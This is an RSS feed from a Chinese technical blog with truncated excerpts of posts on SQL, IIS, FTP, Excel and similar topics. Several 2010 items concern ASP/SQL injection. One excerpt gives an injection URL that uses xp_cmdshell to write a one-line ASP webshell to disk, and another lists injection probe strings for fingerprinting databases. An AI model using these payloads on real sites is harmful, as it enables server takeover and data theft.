<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[默瓜哥哥----默默的傻瓜]]></title><description><![CDATA[我傻故我在.]]></description><link>https://blog.youkuaiyun.com/mo_gua</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; mo_gua]]></copyright><item><title><![CDATA[SQL模糊查询语句和Escape转义字符]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/48520847</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/48520847</guid><author>mo_gua</author><pubDate>Thu, 17 Sep 2015 13:44:13 +0800</pubDate><description><![CDATA[﻿﻿
通配符描述示例%包含零个或更多字符的任意字符串。WHERE title LIKE '%computer%' 将查找处于书名任意位置的包含单词 computer 的所有书名。_（下划线）任何单个字符。WHERE au_fname LIKE '_ean' 将查找以 ean 结尾的所有 4 个字母的名字（Dean、Sean 等）。[ ]指定范围 ([a-f]) 或集合 ([abcdef]) 中的]]></description><category></category></item><item><title><![CDATA[如何在Dreamweaver编辑和搜索非标准扩展名的文件?]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/7972033</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/7972033</guid><author>mo_gua</author><pubDate>Wed, 12 Sep 2012 17:30:08 +0800</pubDate><description><![CDATA[工程师在开发的过程中，有时会用到ini文件来保存语言等字符串信息，会把扩展名改为do/action等其它格式，这就遇到非标准的文件扩展名是用DreamWeaver打不开也不方便操作的。如何能让DreamWeaver打开扩展名为do/action的文件，并以asp/php的颜色方案来显示，同时在其中进行搜索替换等操作呢？
设置步骤如下：
1. 修改 Extensions.txt 文件，有两处，分]]></description><category></category></item><item><title><![CDATA[对服务器的ftp端口进行修改]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/6311894</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/6311894</guid><author>mo_gua</author><pubDate>Sat, 09 Apr 2011 15:33:00 +0800</pubDate><description><![CDATA[<br />　　对服务器的ftp端口进行了修改，把21端口改了，比如221端口，就这样用221连接的时候，连接登录成功，但打不开目录，为何，总结如下：<br />　　1、完成一个FTP的传输过程不仅仅只需要21一个端口，而是2个端口，21端口只是一个命令端口，其实另外还有一个数据端口，我想这就是有些朋友在内网架设FTP并且在网关上做了21端口的映射之后外网还是不能访问的原因吧，另外一个数据端口是多少呢?这又牵涉到另外一个问题。<br />　　2、FTP具有两种模式，分别是port模式(也叫主动模式)和pas]]></description><category></category></item><item><title><![CDATA[IIS状态代码的含义(常见HTTP、FTP请求错误)]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/6311893</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/6311893</guid><author>mo_gua</author><pubDate>Sat, 09 Apr 2011 15:32:00 +0800</pubDate><description><![CDATA[<br />当用户试图通过HTTP或文件传输协议(FTP)访问一台正在运行Internet信息服务(IIS)的服务器上的内容时，IIS返回一个表示该请求的状态的数字代码。该状态代码记录在IIS日志中，同时也可能在Web浏览器或FTP客户端显示。状态代码可以指明具体请求是否已成功，还可以揭示请求失败的确切原因。<br />日志文件的位置<br />在默认状态下，IIS把它的日志文件放在%WINDIR/System32/Logfiles文件夹中。每个万维网(WWW)站点和FTP站点在该目录下都有一个单独的目录。]]></description><category></category></item><item><title><![CDATA[IIS FTP PASV模式下更改端口范围]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/6311890</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/6311890</guid><author>mo_gua</author><pubDate>Sat, 09 Apr 2011 15:31:00 +0800</pubDate><description><![CDATA[<br />IIS FTP里的PASV模式下默认端口范围 1024 - 65535，连接时会从中随机选择到响应。如果该值未指定，或被设置成空字符串，则将使用 Winsock 指定的默认值 1025-5000。如果指定了该属性，则 FTP 将验证的有效范围从 5001 到 65535。要限制这片超大端口的范围,可以用IIS管理实用程序Adsutil.vbs。<br /> <br />C:/Inetpub/AdminScripts/cscript adsutil.vbs set /MSFTPSVC/Passiv]]></description><category></category></item><item><title><![CDATA[C:/Inetpub/AdminsScripts的常用语法]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/6311883</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/6311883</guid><author>mo_gua</author><pubDate>Sat, 09 Apr 2011 15:30:00 +0800</pubDate><description><![CDATA[<br />配置目录的存取权限<br />C:/Inetpub/AdminsScripts>chaccess.vbs -a w3svc/1/ROOT -verbose<br />Usage: chaccess <--ADSPath|-a ADSPATH> 控制配置路径<br />[--computer|-c COMPUTER1[,COMPUTER2...]]指定机器名，IP也可。<br />[+read|-read] 主目录下的读取权限<br />[+write|-write]主目录下的写入权限<br />]]></description><category></category></item><item><title><![CDATA[ASP注入详细命令40条]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/5764024</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/5764024</guid><author>mo_gua</author><pubDate>Sun, 25 Jul 2010 05:36:00 +0800</pubDate><description><![CDATA[<br />1、用^转义字符来写ASP(一句话木马)文件的方法:<br />· http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:/mu.asp';-- <br />· echo ^<%execute^(request^("l"^)^)%^> >c:/m]]></description><category></category></item><item><title><![CDATA[SQL注入Access导出WebShell 返回]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/5764021</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/5764021</guid><author>mo_gua</author><pubDate>Sun, 25 Jul 2010 05:04:00 +0800</pubDate><description><![CDATA[<br />目前有一种在ACCESS数据库下导出Webshell的方法，这个方法是由lake2兄弟提出来的，下面就是我引用他这篇文章的原文：<br />已经听N个人过说有人已经发现SQL注入Access得到webshell的技术了，也只是听说而已，具体的细节还是不得而知。<br />最近在看的书中一章提到Jet的安全，然后灵光一闪，呵呵，发现了一种可以利用access导出asp的方法，分享之。<br />几个月之前网上就流传利用SQL注入Access导出数据库内容到文本文件（可导出txt、htm、html等]]></description><category></category></item><item><title><![CDATA[《改mdb为asp所带来的灾难》之狗尾续貂]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/5764020</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/5764020</guid><author>mo_gua</author><pubDate>Sun, 25 Jul 2010 04:52:00 +0800</pubDate><description><![CDATA[<br />作者:lake2<br />来源:http://blog.youkuaiyun.com/lake2/<br />　　目前似乎都流行把mdb格式的数据库改成asp/asa防止被下载，不过大多数时候是不行的。因为我们用浏览器访问数据库会得到乱码，ok，此时我们用网际快车就能轻松的下到数据库。不过下数据库只是一点点皮毛，入侵者还能利用这个asp数据库得到webshell，要是你不清晰的话建议你先看看《改mdb为asp所带来的灾难》。<br /> · 呵呵，怕了吧，那你还改不改mdb为asp呢？答案是要的，我们总不]]></description><category></category></item><item><title><![CDATA[改mdb为asp所带来的灾难]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/5764019</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/5764019</guid><author>mo_gua</author><pubDate>Sun, 25 Jul 2010 04:46:00 +0800</pubDate><description><![CDATA[<br />本文作者：SuperHei·Lilo<br />文章性质：原创<br />发布日期：2004-09-16<br /> <br />　　可能是随着网络安全技术的发展吧，管理员的素质都在提高，在使用access+asp系统时，为不数据库被人下载，到把mdb改为asp或asa。先不说直接改后缀，直接可以用网快等工具直接下载，其实这样你已经是为入侵者打开了大门。入侵者可以利用asp/asa为后缀的数据库直接得到webshell。一．思路<br />　　大家都知道<% %>为asp文件的标志符，也就是说一]]></description><category></category></item><item><title><![CDATA[ASP/SQL 注入天书]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/5762656</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/5762656</guid><author>mo_gua</author><pubDate>Sun, 25 Jul 2010 02:40:00 +0800</pubDate><description><![CDATA[引言<br />随着 B/S 模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的 SQL Injection，即ＳＱＬ注入。 <br />ＳＱＬ注入是从正常的 WWW 端口访问，而且表面看起来跟一般的 Web 页面访问没什么区别，所以目前市面的防火墙都]]></description><category></category></item><item><title><![CDATA[总结asp注入时用到的方法]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/5580016</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/5580016</guid><author>mo_gua</author><pubDate>Tue, 11 May 2010 19:55:00 +0800</pubDate><description><![CDATA[1.判断是否有注入 ;and 1=1 ;and 1=2 2.初步判断是否是mssql ;and user>0 3.判断数据库系统 ;and (select count(*) from sysobjects)>0 mssql ;and (select count(*) from msysobjects)>0 access 4.注入参数是字符 and [查询条件] and = ]]></description><category></category></item><item><title><![CDATA[Excel表格的35招必学秘技]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/5573261</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/5573261</guid><author>mo_gua</author><pubDate>Mon, 10 May 2010 00:26:00 +0800</pubDate><description><![CDATA[　　也许你已经在Excel中完成过上百张财务报表，也许你已利用Excel函数实现过上千次的复杂运算，也许你认为Excel也不过如此，甚至了无新意。但我们平日里无数次重复的得心应手的使用方法只不过是Excel全部技巧的百分之一。本专题从Excel中的一些鲜为人知的技巧入手，领略一下关于Excel的别样风情。        一、让不同类型数据用不同颜色显示 　　在工资表中，如果想让大于等于20]]></description><category></category></item><item><title><![CDATA[PS2接口键盘、鼠标改成USB接口]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/5503859</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/5503859</guid><author>mo_gua</author><pubDate>Mon, 19 Apr 2010 19:20:00 +0800</pubDate><description><![CDATA[市面上有PS2toUSB的转接口卖，打开之后发现所谓的转接口就是PS2和USB针脚直接互联就可以用了！在实验之前要说一声，PS2接口键盘、鼠标改成USB接口会出现不能使用的情况（原因是缺少驱动），一般来说光电的PS2鼠标改造成功的机会比较大一些！ USB键盘要在BIOS里边将USB keyboard support设置为Enable啊。首先了解一下USB各个接线的定义。如图： 红　]]></description><category></category></item><item><title><![CDATA[修改IIS7的上传文件大小限制 ]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/5485653</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/5485653</guid><author>mo_gua</author><pubDate>Wed, 14 Apr 2010 16:21:00 +0800</pubDate><description><![CDATA[Internet 信息服务(IIS)管理器→(主机)主页→ASP→限制属性→最大请求实体主体限制 默认2000000，即200k，修改为更大。 如果单独修改某个站点的大小限制： Internet 信息服务(IIS)管理器→网站→具体站点→ASP→限制属性→最大请求实体主体限制]]></description><category></category></item><item><title><![CDATA[如何解决系统补丁VS2008 SP1（KB971092）重复安装问题]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/5249103</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/5249103</guid><author>mo_gua</author><pubDate>Sat, 23 Jan 2010 18:59:00 +0800</pubDate><description><![CDATA[一个关于Visual Studio 2008 SP1 (KB971092) 的系统补丁重复安装问题的解决方案前几天微软发布了针对 VS2008SP1 的安全补丁，足足有300多M。更新完了又会提示更新，没完没了，有时还提示更新不成功。 以下解决方案解决问题：1.）下载补丁包（http://www.microsoft.com/downloads/details.aspx?displa]]></description><category></category></item><item><title><![CDATA[如何给Word参考文献加方括号]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/5137764</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/5137764</guid><author>mo_gua</author><pubDate>Tue, 05 Jan 2010 19:12:00 +0800</pubDate><description><![CDATA[　　脚注是在页面下端添加的注释，如添加在一篇论文首页下端的作者情况简介；尾注是在文档尾部（或节的尾部）添加的注释，如添加在一篇论文末尾的参考文献目录。　　若用手工添加脚注和尾注，则既麻烦又易出错。当用Word添加脚注和尾注时，操作步骤变得简单了，且不易出错。　　Word添加的脚注和尾注由两个互相链接的部分组成。即：注释标记和对应的注释文本。Word可自动为标记编号或由用户创建自定义标记。删]]></description><category></category></item><item><title><![CDATA[SQL SERVER数据库，建立存储过程导出XML文件]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/4948161</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/4948161</guid><author>mo_gua</author><pubDate>Sat, 05 Dec 2009 20:44:00 +0800</pubDate><description><![CDATA[建立存储过程 CREATE PROCEDURE P_SearchXML@sql_str varchar(100)ASset @sql_str = @sql_str +  for XML Auto,BINARY BASE64EXEC sp_makewebtask    @outputfile = c:/OutXmlFile.xml,@query=  @sql_str,@templat]]></description><category></category></item><item><title><![CDATA[利用SQL语句得到客户端的IP地址 ]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/4929048</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/4929048</guid><author>mo_gua</author><pubDate>Thu, 03 Dec 2009 03:47:00 +0800</pubDate><description><![CDATA[--1:得到客户端的IP地址/************* IP  **************/declare @ip varchar(20),@hst varchar(20),@sql varchar(100)declare @str varchar(100)set @str=PING +Host_Name()create table #tmp(aa varchar(200))insert ]]></description><category></category></item><item><title><![CDATA[你真的知道一个HTML及资源是如何load的吗(了解各个部分是何时下载和执行的)]]></title><link>https://blog.youkuaiyun.com/mo_gua/article/details/4929035</link><guid>https://blog.youkuaiyun.com/mo_gua/article/details/4929035</guid><author>mo_gua</author><pubDate>Thu, 03 Dec 2009 03:37:00 +0800</pubDate><description><![CDATA[本博客所有内容采用 Creative Commons Licenses 许可使用. 引用本内容时，请保留 朱涛, 出处 ，并且 非商业 .点击 订阅 来订阅本博客.(推荐使用 google reader, 如果你的浏览器不支持直接订阅,请直接在 google reader 中手动添加).点击 下载pdf阅读 (如果浏览器不支持直接打开,请点击右键另存)摘要本文主要介绍浏览器请求]]></description><category></category></item></channel></rss>